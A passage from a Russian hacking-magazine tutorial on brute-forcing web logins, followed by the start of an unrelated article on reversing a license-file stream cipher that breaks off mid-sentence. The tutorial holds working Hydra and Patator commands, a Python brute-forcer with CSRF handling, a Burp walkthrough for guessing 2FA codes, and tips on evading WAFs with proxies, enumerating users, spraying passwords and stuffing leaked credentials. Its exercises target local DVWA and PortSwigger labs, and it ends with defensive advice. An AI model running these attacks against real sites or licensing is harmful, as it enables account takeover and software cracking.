Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;
q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Origin: http://127.0.0.1:42001
Connection: keep-alive
Referer: http://127.0.0.1:42001/vulnerabilities/brute/
Cookie: security=impossible; 
PHPSESSID=c0fb20810a07f4eff1d5c4096d3a4469
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

username=admin&password=123&Login=Login&user_
token=f08b2238488f57e6a3b0168afee6c137

У тебя будут отличаться значения  и   — это небольшая

защита от  брутфорса. Кликни по  запросу правой кнопкой мыши и  выбери
Send to  Intruder. В  Burp Intruder выдели пароль  и  жми кнопку Add, чтобы

указать «Интрудеру» позицию для подстановки значений.

PHPSESSID user_token

123

Скопируй этот незатейливый словарь:

123123
admin
password
p@$$w0rD
Gfhjkm

Подготовка Burp Intruder к атаке

Когда ты добавил позицию для подстановки, справа появилось окно настро‐
ек. В  блоке Payload configuration нажми кнопку Paste, чтобы подставить наш
простой словарь. Для  начала атаки нажми оранжевую кнопку Start attack
и дождись окончания.

Результат атаки перебором

В списке результатов ищи тот ответ сервера, который отличается от других.
Обрати внимание на  столбец Length, успешная авторизация  —  байт,

неуспешные попытки  — . Если откроешь вкладку Response, в  тексте

ответа найдешь Welcome to the password protected area.

5133
5059

Поздравляю, ты выполнил свою первую атаку брутфорсом!
Для подбора мы использовали собственный словарь с  вариантами

паролей. В  реальных пентестах ты будешь обращаться к  другим словарям.
Например, для  подбора пин‑кода из  четырех цифр словарь будет состоять
из числовых значений от   до  . Атакуя роутер, будешь использовать

набор заводских паролей, собранных на сайте производителя.

0000 9999

Для подбора пароля, который придумал пользователь, есть специали‐
зированные словари паролей. Чаще всего это пароли, слитые из разных баз
данных взломанных ресурсов.

Словари для брута
Самый популярный словарь для  брута  — . Словарь появился
в результате атаки на компанию RockYou в 2009 году. Логины и пароли хра‐
нились в  базе данных компании в  открытом виде. Через SQL-инъекцию
хакеры украли данные ~32,6  миллиона аккаунтов с  логинами и  паролями.
База была очищена от дублей, в итоге в файле осталось 14 341 564 уникаль‐
ных пароля.

rockyou.txt

Топовый набор словарей, включая варианты словарей с  паролями,  —
. Можешь скачать набор словарей из репозитория. В Kali Linux, если

набор не установлен, используй .
SecLists

apt -y install seclists
Есть альтернативы. Например, много вариантов словарей можно найти

в FuzzDB в папке .wordlists-user-passwd
Чекнуть, есть ли твой любимый пароль в слитых базах и словарях, можно

на сайте .Have I Been Pwned

О нет! Пароль есть в базах и может быть подобран

ПОДХОДЫ В БРУТЕ

Перебор пар логин/пароль бывает нереальным с  точки зрения количества
вариантов. На  большом ресурсе может быть миллион логинов. Если при‐
менить к  ним  14  миллионов паролей из  словаря rockyou, потребу‐
ется  14  триллионов попыток. При  работе в  100  потоков ты пот‐
ратишь 1 660 925 дней, или примерно 60 жизней! И это без каких‑либо лагов
и задержек.

Другой пример  — грубый перебор символов в  задаче DVWA. Если  бы
для  решения задачи ты использовал пейлоад Brute Force (то есть автомати‐
ческую генерацию всех возможных комбинаций символов, а  не словарь),
количество попыток выросло бы до 5 764 801. Даже с учетом того, что ты ука‐
жешь точную длину пароля и оставишь в наборе только нужные буквы.

Пример количества вариантов для подбора password

Реальные хакеры и  пентестеры избегают такого ада. Например, используя
подход password spraying — спреинг паролей. При таком подходе хакер берет
небольшое количество популярных паролей и пробует авторизоваться с раз‐
ными логинами пользователей. Атака переворачивается с  ног на  голову.
Вместо подбора пароля к логину подбирается логин к паролю.

INFO

В  2023  году российские хакеры из  группы
Midnight Blizzard .
Хакеры смогли получить доступы к  одной
из  забытых учетных записей, у  которой была
отключена многофакторная авторизация.

атаковали корпорацию Microsoft

Другой вариант оптимизации атаки — credential stuffing, когда креды из утечек
одного сервиса используются для  получения доступа к  другим сервисам.
Пользователи часто выставляют один и тот же пароль в разных местах, чтобы
не запутаться и не забыть его. В итоге креды от онлайновой игры могут быть
такими же, как и креды в корпоративной CRM.

Привычка слегка модифицировать пароль порождает атаку hybrid brute
force. Она предполагает модификацию паролей. Например, пароль 

может принимать такие значения:

password

password123
password2025
password1979
passwordxuy
!password
1password

Или любые другие вариации. Если пароль твоего клиента, заказавшего пен‐
тест, оказался в  слитых базах, но  не подходит  — не  отчаивайся, попробуй
сгенерировать новые вариации и запустить брут.

ПОДГОТОВКА К БРУТУ

Логично было  бы начать с  поиска слитых данных. Но  здесь ты рискуешь
переступить через черту закона. С  одной стороны, если данные слиты, кли‐
ента стоит уведомить об  этом. С  другой стороны, в  России поиск в  слитых
базах данных может квалифицироваться как  преступление по  статье  272  УК
РФ (незаконное использование, сбор, хранение или передача персональных
данных, полученных незаконным путем), с  наказанием до  двух лет лишения
свободы за  базовый состав, до  десяти лет  — при  отягчающих обстоятель‐
ствах. А слитые базы явно были добыты незаконно.

Если клиент из  другой страны, обязательно уточни информацию по  их
законодательству. Но, находясь в  России, ты все равно подпадаешь
под законы РФ. Будь внимателен.

И все же подготовиться к бруту ты можешь. Начни с изучения механизма
авторизации. Создай пользователя, если есть такая возможность. Попробуй
десяток раз выполнить неправильную авторизацию. Твоя задача — убедить‐
ся, что система подвержена грубому перебору и нет блокировок.

На ресурсе может работать Web Application Firewall (WAF), который иногда
блокирует даже небольшое количество попыток с одного IP-адреса. Обойти
такую блокировку можно при  помощи набора прокси. Каждый запрос делай
с  нового прокси. Иногда WAF проверяет страну происхождения прокси,
в этом случае ищи пакет прокси из целевой страны.

Бывают ограничения на  количество попыток для  аккаунта. Эта ситуация
сложнее. Либо нужен надежный базовый пароль, либо стоит использовать
password spraying.

Даже если в системе есть ограничение попыток, не отчаивайся. Посмотри,
как происходит восстановление пароля. Мне попадались ресурсы, где авто‐
ризация защищена, но система сброса пароля отправляла простой числовой
токен (а его легко подобрать). Чаще такие коды попадаются при восстанов‐
лении пароля через SMS. Владельцы сайтов понимают, что не каждый сможет
ввести сложный цифро‑буквенный код из SMS. Бывают ситуации, когда токен
можно предсказать, — например, если это UUIDv1.

Следующий этап  — выбор правильного словаря. Работая с  испанским
ресурсом, можешь взять соответствующий словарь паролей. Не только рус‐
скоговорящие люди используют слова, набранные на  другой раскладке:

 → . То же касается транскрипции:  → .пароль123 gfhjkm123 яхакер yahaker
Учитывай и пароли на других языках: слово может быть переведено, а не

транслитерировано. Например, «любовь» → liebe — немецкий язык, но те же
латинские символы.

Собери базу пользователей, которые тебе интересны. Конкретный метод
сбора зависит от сайта, но некоторые рекомендации дам.

В WordPress часто можно получить список пользователей по  ссылке
. Разработчики не всегда закрыва‐

ют эту возможность, а внутри — много информации. Если не сработало, поп‐
робуй через сканер WPScan:

https://site.com/wp-json/wp/v2/users

 uwpscan --url https://site.com --enumerate

На форумах обычно есть списки зарегистрированных пользователей
или  пользователей онлайн. В  крайнем случае можно изучить сообщения
от  форумчан. Админы и  модераторы обычно имеют отличительные знаки.
Проявляй креативность! Даже на ресурсах, которые скрывают пользователей,
можно наткнуться на email админа.

Иногда форма авторизации позволяет выполнить парсинг пользователей.
Если после неуспешной авторизации при пентесте ты видишь ошибку «невер‐
ное имя пользователя», есть шанс для парсинга. Собери базу потенциальных
ников, вроде , , , . Либо воспользуйся словарем

из  SecLists. Ты можешь написать скрипт, который будет выполнять запрос
авторизации и проверять сообщение об ошибке.

admin administaror root dev

Если основная форма не  дает возможности проверки, обрати внимание
на  форму сброса пароля. К  сбросу пароля разработчики часто относятся
не так серьезно.

Завершающий этап подготовки — это поиск защит в HTTP-запросах. Рас‐
пространенный вариант — это токены CSRF.

INFO

CSRF-токен  — это  уникальная, труднопредска‐
зуемая строка, которую сервер привязывает
к  конкретной пользовательской сессии и  добав‐
ляет в  формы или  запросы (обычно как  скрытое
поле или заголовок). При получении запроса сер‐
вер проверяет, что токен присутствует и совпада‐
ет с ожидаемым, если нет — запрос отклоняется.
Это  защищает от  CSRF-атак, при  которых зло‐
умышленник пытается заставить браузер уже
авторизованного пользователя отправить нежела‐
тельный запрос, потому что сторонний сайт
не знает корректного токена и не может его под‐
делать.

Если есть CSRF, твоя брутилка должна уметь делать предварительные зап‐
росы и  парсить из  них токен. Иногда приходится парсить несколько
токенов — один из тела ответа, второй из cookie.

ИНСТРУМЕНТЫ ДЛЯ БРУТА

Burp Suite  — не  лучший способ брутить креды. Бесплатная версия может
работать только в  одном потоке. Версия Pro хоть и  многопоточная, но  на
длинных списках начинает умирать. В  работе с  вебом я использую два инс‐
трумента: Hydra и Patator.

INFO

Перед следующими тестами запусти DVWA.
Перейди в  DVWA Security и  установи уровень
Low.

Hydra — многопоточная брутилка, разработанная немецким хакерским сооб‐
ществом The Hacker’s Choice. Появилась в конце девяностых. Она поддержи‐
вает не  только брут по  HTTP/HTTPS, но  и другие сервисы и  протоколы: FTP,
SSH, RDP, SMB, SMTP, POP3, MySQL и  так далее. Hydra  — это  признанный
стандарт для брута, она есть по умолчанию в Kali, Parrot, BlackArch. У нее нет
графического интерфейса, утилита работает исключительно из  командной
строки.

Пример запуска Hydra для подбора пароля в задаче DVWA:

hydra -l admin -P /usr/share/wordlists/rockyou.txt.gz 127.0.0.1 -s 
42001 http-get-form \
"/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:
H=Cookie:PHPSESSID=2dc796766f599c39def134f18a5c5232;security=low:
F=Username and/or password incorrect."

Hydra нашла пароль

Список использованных параметров:
 — жестко заданное имя пользователя. Если хочешь ука‐

зать список возможных имен пользователей, используй  и путь к файлу;
• -l <username>

-L
 — путь к файлу со словарем паролей. Обрати внимание, что я

указал архив , Hydra сама распакует его. Если хочешь жестко задать
пароль (например, для  ), используй маленькую букву

;

• -P <path>
.gz

Password spraying
-p password

  — IP-адрес или  домен. Можно указать с  протоколом, нап‐
ример ;

• 127.0.0.1
ftp://8.8.8.8

 — порт. Не указывай порт через двоеточие, Hydra не поймет;• -s 42001
  — для  перебора будет использоваться модуль, работа‐

ющий с  GET-запросами. DVWA в  режиме безопасности Low принимает
. Для   используй . Для  брута SSH  — модуль
. Полный список модулей увидишь, введя команду 

;

• http-get-form

GET POST http-post-form
ssh hydra -h | sed
-n '/Supported services:/,/^$/p'

Пример вывода модулей брута Hydra

  — настройка работы
модуля. В  примере описано, по  какому пути выполнять атаку и  куда под‐
ставлять пары логин‑пароль. Через  задается заголовок

. Параметр   — строка фильтрации неудачных попыток.
Смотри справку по модулям командой . Нап‐
ример, .

• "/vulnerabilities/brute/:username=..."

H=Cookie
Cookie F=...

hydra -U <module_name>
hydra -U http-get-form

Подробная информация о модуле http-get-form

 — универсальная модульная тулза для брута и фаззинга. Разработана
французским специалистом Себастьеном Маком ( ). В  отличие
от Hydra, Patator не является «чистой брутилкой», а представляет собой гиб‐
кий HTTP/сетевой фаззер, позволяющий строить сложные сценарии перебо‐
ра. Разрабатывался как инструмент для ситуаций, где:

Patator
lanjelot

классические брутилки не справляются;•
требуется несколько параметров;•
используются токены, nonce, state;•
нужно управлять логикой запросов и ответов.•

Patator входит в стандартные сборки Kali Linux, Parrot OS и BlackArch и работа‐
ет исключительно в CLI.

Пример запуска Patator:

patator http_fuzz \
  

 
url="http://127.0.0.1:42001/vulnerabilities/brute/?username=admin&

password=FILE0&Login=Login" \
  GET method= \
  0=rockyou.txt \
  

 
header="Cookie: PHPSESSID=2dc796766f599c39def134f18a5c5232; 

security=low" \
   -x ignore:egrep='Username.*password.*incorrect' \
   -x quit:egrep='Welcome.*password protected' \
   10 -t \
  1--max-retries=

Результат работы Patator

Параметры запуска на DVWA:
 — модуль для фаззинга HTTP-запросов. Используется как для

брута, так и  для логических атак. Полный список модулей доступен в 
;

• http_fuzz
ре‐

позитории проекта
 — шаблон URL. , ,  и так далее —

плейсхолдеры, в которые Patator подставляет значения из словарей;
• url="http://..." FILE0 FILE1 FILE2

 — HTTP-метод. Можно использовать , , ;• method=GET POST PUT PATCH
 — словарь для  . В отличие от Hydra, Patator не уме‐

ет распаковывать архивы;
• 0=rockyou.txt FILE0

 — жесткое задание заголовка ;• header="Cookie: ..." Cookie
 — правило игнорирования неудачных попыток;• -x ignore:egrep='...'

  — правило остановки при  успешной авториза‐
ции;

• -x quit:egrep='...'

 — количество потоков;• -t 10
 — число повторов при ошибке соединения.• --max-retries=1

Инструментарий гораздо шире, особенно если говорить не  только про  веб.
Но  в большинстве случаев хватает этих двух инструментов. Если не  хватает,
всегда можно написать простой кастомный скрипт!

Продолжение статьи →

https://t.me/ret0x2A
https://getfoxyproxy.org/
https://weakpass.com/wordlists/rockyou.txt
https://github.com/danielmiessler/SecLists
https://github.com/fuzzdb-project/fuzzdb/tree/master/wordlists-user-passwd
https://haveibeenpwned.com/
https://thehackernews.com/2024/03/microsoft-confirms-russian-hackers.html?m=1
https://github.com/lanjelot/patator
https://github.com/lanjelot
https://github.com/lanjelot/patator
https://github.com/lanjelot/patator


БРУТФОРС С САМОГО

НАЧАЛА
КАК ХАКЕРЫ И ПЕНТЕСТЕРЫ

ПОДБИРАЮТ ПАРОЛИ К УЧЕТНЫМ
ЗАПИСЯМ НА САЙТАХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

КАСТОМНАЯ БРУТИЛКА

Если на  сайте установлена капча или  какая‑то другая сложная защита,
без кастомного скрипта практически не обойтись. В некоторых случаях при‐
ходится подключать, например, Selenium, чтобы эмулировать действия поль‐
зователя в  браузере: движения мышкой, прокрутку экрана, неравномерный
ввод символов и прочие хитрости.

На серьезных ресурсах могут работать собственные скрипты защиты,
которые оповещают сервер об  активности пользователя. На  ее основании
сервер решает, доверять вводу или нет. Бывает, что отправленный тобой зап‐
рос возвращает сообщение об ошибке независимо от того, ввел ты правиль‐
ную пару логин‑пароль или нет.

Секреты автоматизации выходят за  рамки статьи, но  эту тему мы осве‐
щаем в «Хакере» регулярно.

Алгоритм веб‑брута выглядит так:
1. Открываешь файл словаря.
2. Получаешь вариант пароля.
3. Формируешь и отправляешь запрос.
4. Ищешь в ответе сообщение об ошибке или успешной авторизации.
5. При необходимости повторить с пункта 2.

Пример на Python для DVWA:

#!/usr/bin/env python3
 import requests

# Жестко прописываем URL и пользователя
  url = "http://127.0.0.1:42001/vulnerabilities/brute/"

  username = "admin"
# Убедись, что файл rockyou.txt лежит в папке со скриптом

  wordlist = "rockyou.txt"

# Куки, которые требует DVWA
  cookies = {

    # Обнови ID сессии на актуальный
     "PHPSESSID": "2dc796766f599c39def134f18a5c5232",
     "security": "low"
}

# Необязательно, но минимальный WAF без юзерагента заблочит запрос
  headers = {

     "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/
20100101 Firefox/128.0"
}

# Сообщение с ошибкой, которое нужно искать в ответе
  fail_string = "Username and/or password incorrect."

# Открываем файл
     with open(wordlist, "r", errors="ignore") as f:

    # Построчно обходим файл
       for password in f:
        # Удаляем лишние символы

          password = password.strip()

        # Формируем username=admin&password=<password>
          params = {

             "username": username,
             "password": password,

             "Login": "Login"
        }

        # Пробуем авторизоваться GET-запросом
          r = requests.get(

            url,
            params=params,
            cookies=cookies,
            headers=headers,
            allow_redirects=True,
            timeout=5
        )

        # Если строки с ошибкой нет, пароль успешно найден — 
останавливаем скрипт

            if fail_string not in r.text:
            print(f"[+] PASSWORD FOUND: {password}")
            break

Добавь в скрипт многопоточность, и у тебя своя полноценная брутилка.
Скрипт легко адаптируется под более сложные задачи. Например, если бы

у нас был токен CSRF, то потребовался бы еще один предварительный запрос
и  парсинг ответа. В  этом случае оптимально не  работать с  самим модулем

, а перейти на уровень сессий.requests

# Глобально создаем объект сессии и передаем ему на вход заголовки
  session = requests.Session()

session.headers.update(headers)
session.cookies.update(cookies)

Пример функции парсинга CSRF-токена:

# Не забудь подключить BeautifulSoup для удобного парсинга HTML
   from bs4 import BeautifulSoup

 def get_csrf_token():
    # Предварительно запрашиваем страницу логина
       r = session.get(url, timeout=5)
    # Создаем объект BS
       soup = BeautifulSoup(r.text, "html.parser")
    # Ищем значение токена
        token = soup.find("input", {"name": "csrf_token"})
    # Если не найден
      if not token:

         raise RuntimeError("CSRF token not found")
     return token["value"]

Основной запрос перепиши на сессии, чтобы он уходил с актуальными дан‐
ными:

# Получаем CSRF
  csrf_token = get_csrf_token()

# Не забудь добавить в запрос
  params = {

     "username": username,
     "password": password,
     "Login": "Login",
     "csrf_token": csrf_token
}

# Основной запрос с проверкой пароля
  r = session.get(

    url,
    params=params,
    allow_redirects=True,
    timeout=5
)

ПОДБОР ОДНОРАЗОВОГО КОДА ДЛЯ 2FA

Для тренировки тебе потребуется лаба 
от  PortSwigger. Благодаря ей ты научишься не  только брутить, но  и исполь‐
зовать сессии с макросами в Burp.

2FA bypass using a  brute-force attack

INFO

Пример можно повторить только на  версии Burp
Suite Pro. Комьюнити‑версия имеет ряд ограниче‐
ний. Если у тебя нет Pro, можешь повторить путь,
написав кастомный скрипт. Свою версию скрипта
выложу в   в  день выхода
статьи.

мой Telegram-канал

Запусти лабу и  настрой проксирование запросов через Burp, как  это было
с DVWA.

Зайди в лабе в My Account и попробуй авторизоваться с такими кредами:
. Лаба попросит ввести четырехзначный код. Отправь любой

код, чтобы в истории Burp был полный набор запросов.
carlos/montoya

Если попытаешься запустить в  Intruder перебор кодов, столкнешься
с невалидной сессией и CSRF. Система дает две попытки ввести пин, после
которых редиректит на   и сбрасывает сессию./login

В истории запросов видна последовательность:
1.   — первая стадия авторизации, генерируется сес‐

сия.
GET /login HTTP/2

2.  — проверка логина и пароля.POST /login HTTP/2
3.   — страница с  запросом пин‑кода, содержит

CSRF-токен для проверки пин‑кода.
GET /login2 HTTP/2

4.   — вторая стадия авторизации, проверка
пин‑кода и CSRF-токена.
POST /login2 HTTP/2

5.  — повторное открытие страницы с запросом пина,
CSRF тот же.
GET /login2 HTTP/2

6.  — повторная проверка пин‑кода и CSRF-токена.POST /login2 HTTP/2
7.  — редирект на страницу логина и сброс сессии.GET /login HTTP/2

Неправильный CSRF при подборе пин‑кода

Исправить ситуацию можно, добавив правило в  сессии Burp, которое будет
обновлять сессию.

Кликни в главном меню на Burp → Settings, чтобы открыть окно настроек.
Слева найди пункт Sessions. В блоке Session handling rules нажми кнопку Add.

Добавление нового правила для сессий

Перейди на  вкладку Scope и  выбери Include all URLs, чтобы правило рас‐
пространялось на  все URL. Галочки можешь не  трогать, они указывают,
на какие инструменты Burp будет распространяться правило. Главное, чтобы
был активен Intruder.

Управление Scope для правила

Переходи обратно на Details. Укажи любое понятное имя для правила и жми
Add. В выпадающем меню выбери Run a macro. Это заставит Burp выполнять
макрос перед каждым запросом Intruder. Учитывай, что при такой конфигура‐
ции брутить можно только в  один поток. Иначе будет мешанина из  сессий
и подбор провалится.

Добавление действия

Перед тобой окно настройки макроса. Нажми Add, чтобы создать макрос.
Автоматически откроется окно с параметрами и поверх него — окно записи
макроса со списком запросов.

Зажав Ctrl, выдели последовательность: ,  и 

. Это  последовательность авторизации до  отправки одноразового
кода.

GET /login POST /login GET
/login2

Окно записи макроса

Жми OK. В окне настроек макроса нажми Test macro для проверки работос‐
пособности макроса. Должны выполниться все три запроса и вернуться ста‐
тусы: , , . Если что‑то пошло не  так, скорее всего, истекла лаба
PortSwigger. В этом случае проще начать с самого начала: перезапустить лабу
и Burp Suite.

200 302 200

Успешный тест макроса

Если тест прошел успешно, сохрани макрос и правило. Закрой лишние окна
и переходи в историю запросов. Найди запрос  — отправь его

в  Intruder. В теле запроса выдели значение параметра  и обозначь

его как место подстановки. В появившихся настройках выбери тип пейлоада
Brute forcer. Это жесткий перебор с генерацией пейлоадов из доступных сим‐
волов. В Character set оставь цифры от 0 до 9. Максимальная и минимальная
длина — четыре символа. Это значения от   до  , или 10 тысяч вари‐
антов кодов.

POST /login2
mfa-code

0000 9999

Настройки Burp Intruder на брут одноразового кода

Не забудь указать ограничение в один поток. Запусти атаку и жди. Успешный
запрос вернет код , а не .302 200

Перебор  10  тысяч вариантов в  один поток  — процесс небыстрый.
При  этом нет гарантии, что твоя атака подберет код. Возможно, придется
запустить заново. Добро пожаловать в настоящий брутфорс, где нет никаких
гарантий!

ЗАЩИТА ОТ БРУТФОРСА

Давай пройдемся по методам защиты. Если ты программист или администра‐
тор, то общие рекомендации такие:

Заставь пользователя придумывать сложные пароли. Требуй использовать
буквы в  разном регистре, цифры и  спецсимволы. На  подбор пароля

 потребуется невероятное количество времени.

•

__$XaKeRr_77_^^
Запрети повторно использовать пароль. Храни хеши последних  3–
5 паролей пользователя. Это вынудит больше видоизменять пароль.

•

Ограничь количество попыток входа для  аккаунта. Необязательно бло‐
кировать возможность входа полностью. После каждой неуспешной
попытки вводи блокировку по времени.

•

Обязательно уведомляй пользователя о  попытках входа, но  будь
разумен  — если после каждой попытки будет уходить письмо, можно
попасть в папку «Спам».

•

Убедись, что твои формы авторизации и восстановления паролей не дают
обратной связи. Не пиши «неправильный логин», используй более общее
«неправильный логин или пароль». Так ты обезопасишь себя от парсинга
логинов.

•

Используй сложные одноразовые коды в  двухфакторной аутентификации
и токены восстановления пароля. Еще лучше использовать специализиро‐
ванные приложения для двухфакторной аутентификации, которые генери‐
руют временный код подтверждения.

•

Для форм сброса и смены паролей ограничь токены по времени действия.
Не забывай удалять использованные и истекшие токены. В противном слу‐
чае хакер может повторно воспользоваться им, чтобы установить собс‐
твенный пароль.

•

Используй капчу для авторизации. Это заставит хакера как минимум под‐
ключить сервис обхода капчи, а значит, приведет к дополнительным рас‐
ходам. Плюс современные капчи имеют мощные алгоритмы определения
ботов. Банальную брутилку, без  имитации действий пользователя, сер‐
висы определят и заблокируют.

•

Ну и если ты дочитал досюда, надеюсь, тебя не затруднит написать коммента‐
рий и рассказать, понравилась ли тебе статья, что было неожиданным и где
недостает информации. Если понадобится, мы дополним текст пояснениями.
© X

https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack
https://t.me/ret0x2A
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ВЗЛОМ

Зачем в криптоалгоритмах нужны «магичес‐
кие» константы и  что будет, если их
поменять? В  этой статье мы препарируем
программную защиту, использующую кас‐
томный поточный шифр. С  помощью
x32dbg и IDA Pro мы восстановим алгоритм,
найдем его корни в известном GSM-шифре
и  разберем, как  ошибки в  тактировании
регистров приводят к  катастрофическим
коллизиям. Ты увидишь, почему попытки
«улучшить» классические криптоалгоритмы
превращают защиту в тыкву и как подобные
баги выявляются в ходе реверса.

Если ты решил стать хакером, то на  своем непростом тернистом пути ты
наверняка разобрал не  один стандартный криптоалгоритм. Да  что там
говорить, мы и вместе изучали алгоритмы  и  . Думаю, продира‐
ясь сквозь суровый матан (точнее, сквозь дискретную математику) и теорию
этих алгоритмов, ты задавал себе вопрос: а зачем вообще такие сложности?
К чему эти ученые‑верченые так намудрили, зачем в каждом алгоритме имен‐
но такое количество битов, тактов, волшебных констант, которые усложняют
и замедляют выполнение кода, а главное, позволяют его безошибочно детек‐
тировать, к примеру с помощью Krypto Analyzer? Почему нельзя замутить свой
собственный уникальный криптоалгоритм имени себя, скажем поменяв зна‐
чения констант, упростив для скорости микширование регистров или умень‐
шив либо увеличив их битность? Ведь на  выходе криптора все равно будет
высокоэнтропийная каша, и  прямой брутфорс займет срок величиной
с  десяток возрастов Вселенной. В  этой статье мы на  конкретном примере
разберем, чем чревата подобная самодеятельность в составлении криптоал‐
горитма.

Rabbit EdDSA

Итак, задача: у  нас имеется некий софт от  очень известной телеком‐
муникационной фирмы, название которой я не  буду упоминать. Софт офор‐
млен в виде локального веб‑приложения с интерфейсом в браузере (мы раз‐
бирали подобное в  статье «

»). Лицензирование программы происходит тут же,
в браузере, путем загрузки лицензионного файла. Он привязан к конкретному
компьютеру пользователя (точнее, к серийному номеру программы, который
отсылается вендору для  получения лицензионного файла). Файл набит
высокоэнтропийными бинарными данными, что наталкивает на мысль: он зак‐
риптован, причем ключ расшифровки как‑то связан с  серийником. Поэтому
наша задача  — реверсировать и, по  возможности, обратить алгоритм шиф‐
рования (исключительно в исследовательских целях).

В обход стражи. Отлаживаем код на  PHP, упа‐
кованный SourceGuardian

Не буду углубляться в  особенности реализации браузерного веб‑при‐
ложения: мы с  такими уже сталкивались, да  и вообще статья не  об этом.
В  двух словах отмечу, что для  работы мы используем отладчик x32dbg,
которым аттачимся к  приложению, реализующему обработку запросов
к localhost, затем простым поиском в памяти строки «Cannot open license file»
легко выходим на  код открытия лицензионного файла и  чтения из  него
зашифрованных данных.

Дальше дело техники: ставим точку останова на этот код и смотрим, в какой
момент высокоэнтропийная каша в  буфере чтения из  файла превратится
во что‑либо более осмысленное. Долго ждать не приходится: буквально нес‐
колькими строками ниже происходит расшифровка.

Как видишь, после двух последовательных вызовов 

 и   буфер

 содержит текстовые данные лицензии, которые уже следующей

строкой начинают анализироваться. Посмотрим, что внутри этих функций.
Начнем с  . Ее IDA’шный псевдокод выглядит примерно вот так:

sub_10002450(v287,
v11) sub_10002770(v287, (char *)lpBuffer, cchWideChar)
lpBuffer

sub_10002450

      void __thiscall sub_10002450(OLECHAR ***this, OLECHAR *psz) // this 
— родительский объект криптора, pcz — текстовая строка, ключ 
расшифровки
{

    v2 = psz;
    lpWideCharStr = psz;
       if ( psz && wcslen(psz) )
  {
       sub_10001B10(this + 1, psz);
        memset(this + 2, 0, 0x100u);
      this[66] = 0;
       this[67] = (OLECHAR **)324508639;
       this[68] = (OLECHAR **)610839776;
       this[69] = (OLECHAR **)-38177487;
       this[70] = (OLECHAR **)-2147483550;
       this[71] = (OLECHAR **)1073741856;
       this[72] = (OLECHAR **)268435458;
       this[73] = (OLECHAR **)0x7FFFFFFF;
       this[74] = (OLECHAR **)0x3FFFFFFF;
       this[75] = (OLECHAR **)0xFFFFFFF;
       this[76] = (OLECHAR **)0x80000000;
       this[77] = (OLECHAR **)-1073741824;
       this[78] = (OLECHAR **)-268435456;

     ... // копирование первых 12 байт ключа pcz в массив v24 с 
нулевым байтом-заполнителем

                  v18 = v24[3] | ((v24[2] | ((v24[1] | (v24[0] << 8)) << 8)) << 8);
                  v19 = v24[7] | ((v24[6] | ((v24[5] | (v24[4] << 8)) << 8)) << 8);
          v20 = v24[9] | (v24[8] << 8);
       this[68] = (OLECHAR **)v19;
              v21 = v24[11] | ((v24[10] | (v20 << 8)) << 8);
       this[69] = (OLECHAR **)v21;
       if ( !v18 )

        v18 = 324508639;
       this[67] = (OLECHAR **)v18;
       if ( !v19 )

         this[68] = (OLECHAR **)610839776;
       if ( !v21 )

         this[69] = (OLECHAR **)-38177487;
  }
}

Похоже на  классическую инициализацию объекта криптора, с  которой мы
не раз сталкивались при анализе других криптоалгоритмов.

Строки   —   — это  явно слово состояния алгоритма,
состоящее из  13  32-битных переменных, инициализирующихся шестнад‐
цатеричными константами , , , , ,

, , , , , , 
и  . Затем вторая, третья и  четвертая переменные состояния пере‐

инициализируются 12 первыми байтами ключа.

this[66] this[78]

0 13579BDF 2468ACE0 FDB97531 80000062
40000020 10000002 7FFFFFFF 3FFFFFFF FFFFFFF 80000000 C0000000
F0000000

Как выглядит сам ключ, мы уже успели подсмотреть в отладчике. Это слеп‐
ленные вместе строки: три десятичные цифры версии продукта, три десятич‐
ные цифры подверсии и  его серийный номер. Например, для  имеющейся
у нас версии 5.15 ключ будет , а соответствующие ему значения

переменных — ,  и  .

0050150900-0
30303530 31353039 30302d30

Не буду загромождать повествование излишними подробностями перево‐
да псевдокода функции  на  C# с  сокращением, скажу только,

что при этом выясняется любопытный факт: реальное слово состояния крип‐
тора сокращается до  этих самых инициализируемых байтами ключа трех
переменных (назовем их условно ,  и  ), остальные

инициализированные переменные  — просто константы, не  меняющиеся
во время шагов алгоритма:

sub_10002770

state67 state68 state69

             for (int i = 0; i < data.Length; ++i)
        {

               UInt32 v4 = 8;
               UInt32 v5 = state67;

                 byte v13 = (byte)(state68 & 1);
               UInt32 v15 = data[i];
               UInt32 v16 = 0;

                 byte v14 = (byte)(state69 & 1);
             UInt32 v6;
             UInt32 v7;

             byte v8;
             UInt32 v9;
             UInt32 v10;
             UInt32 v11;

            do
            {

                     if ((v5 & 1) != 0)
                {

                      v6 = state68;
                          v5 = 0x80000000 | 0x40000031 ^ v5;
                         if ((v6 & 1) != 0)

                    {
                          v13 = 1;

                              v7 = 0xc0000000 | v6 ^ 0x20000010;
                          v8 = v14;

                    }
                    else
                    {

                          v13 = 0;
                          v8 = v14;
                              v7 = 0x3fffffff & (state68 >> 1);

                    }
                      state68 = v7;

                }
                else
                {

                      v9 = state69;
                          v5 = 0x7fffffff & (v5 >> 1);
                         if ((v9 & 1) != 0)

                    {
                            v10 = v9 ^ 0x8000001;

                          v8 = 1;
                            state69 = 0xf0000000 | v10;

                    }
                    else
                    {

                              state69 = 0x0fffffff & (v9 >> 1);
                          v8 = 0;

                    }
                      v14 = v8;

                }
                        v11 = (UInt32 )(v8 ^ v13 | ( v16<<1));
                  v16 = v11;

                --v4;
            }

             while (v4!=0);
              state67 = v5;
                data[i] = (byte)(v15 ^ v11);

     }

Алгоритм с  виду достаточно простой, но  Krypto Analyzer его не  детектирует,
и  используемые им константы нигде не  гуглятся. По  модным ныне веяниям,
натравив на  код искусственный интеллект, получаем маловразумительные
ссылки на отечественный ГОСТ Р (или даже «Кузнечик») и на первоначальную
версию поточного алгоритма шифрования европейского мобильного GSM-
трафика под  названием A5/1. Последний вариант выглядит довольно убе‐
дительно для  софта от  компании, занимающейся мобильной связью. Окей,
примем на веру.

Проверив реверсированный алгоритм в действии, убеждаемся в том, что
лицензия расшифровывается корректно. Поскольку дешифрование потока
производится наложением на него псевдослучайной гаммы при помощи опе‐
рации XOR (исключающее ИЛИ), то процесс самообратим и, к  счастью,
